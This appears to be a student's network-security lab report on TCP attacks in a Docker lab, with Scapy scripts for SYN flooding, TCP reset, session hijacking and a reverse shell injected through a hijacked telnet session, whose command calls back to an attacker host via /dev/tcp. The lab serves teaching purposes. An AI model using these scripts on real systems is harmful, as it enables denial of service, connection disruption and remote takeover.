LAB 4

Task 1: SYN Flooding Attack:

The server was overwhelmed with number of SYN\_RECV packets sent through the TCP attacker.

root@2fb46a9c64bb:/# sysctl net.ipv4.tcp\_max\_syn\_backlog

net.ipv4.tcp\_max\_syn\_backlog = 128

root@2fb46a9c64bb:/# sysctl -a | grep syncookies

net.ipv4.tcp\_syncookies = 0

root@2fb46a9c64bb:/# sysctl -w net.ipv4.tcp\_syncookies=0

net.ipv4.tcp\_syncookies = 0

root@2fb46a9c64bb:/# sysctl -w net.ipv4.tcp\_syncookies=1

net.ipv4.tcp\_syncookies = 1

Text

Description automatically generated

Task 1.1: Launching the Attack Using Python:

#!/bin/env python3

from scapy.all import IP, TCP, send

from ipaddress import IPv4Address

from random import getrandbits

ip = IP(dst="10.9.0.6") tcp = TCP(dport=23, flags=’S’) pkt = ip/tcp

while True:

pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP

pkt[TCP].sport = getrandbits(16) # source port

pkt[TCP].seq = getrandbits(32) # sequence number

send(pkt, verbose = 0)

Text

Description automatically generated with low confidence

Task 1.2: Launching the attack using C:

Text

Description automatically generated

A picture containing text

Description automatically generated

A picture containing text

Description automatically generated

Task 1.3

Text

Description automatically generated with medium confidence

Once the SYN cookies countermeasure is enabled, the syn flood attack fails. The queue just shows the established connections.

Task 2: TCP reset attacks on telnet connections:

The connection was terminated due to reset packet sent to the server.

#!/usr/bin/env python3

from scapy.all import \*

ip = IP(src="10.9.0.6", dst="10.9.0.5")

tcp = TCP(sport=23, dport=27865, flags="R", seq=6557896)

pkt = ip/tcp

ls(pkt)

send(pkt, verbose=0)

Text

Description automatically generated

Text

Description automatically generated

Task 3: Session hijacking:

The established TCP connection didn’t work after the attack as the SEQ and ACK numbers were tampered by session hijacking.

#!/usr/bin/env python3

from scapy.all import \*

ip = IP(src="10.9.0.6", dst="10.9.0.5")

tcp = TCP(sport=23564, dport=23, flags="A", seq=12267783, ack=15783672)

data = "Session Hijacked"

pkt = ip/tcp/data

ls(pkt)

send(pkt, verbose=0)

Graphical user interface, text

Description automatically generated

Text

Description automatically generated

Task 4: Reverse Shell:

The victim system could be accessed from the attacker’s docker through TCP Session hijacking. The command “ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 “ was run on victim system through TCP attack.

#!/usr/bin/env python3

from scapy.all import \*

ip = IP(src="10.9.0.5", dst="10.9.0.6")

tcp = TCP(sport=23564, dport=23, flags="A", seq=12267783, ack=15783672)

data = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"

pkt = ip/tcp/data

ls(pkt)

send(pkt, verbose=0)

Graphical user interface, text

Description automatically generated

Text

Description automatically generated

Text

Description automatically generated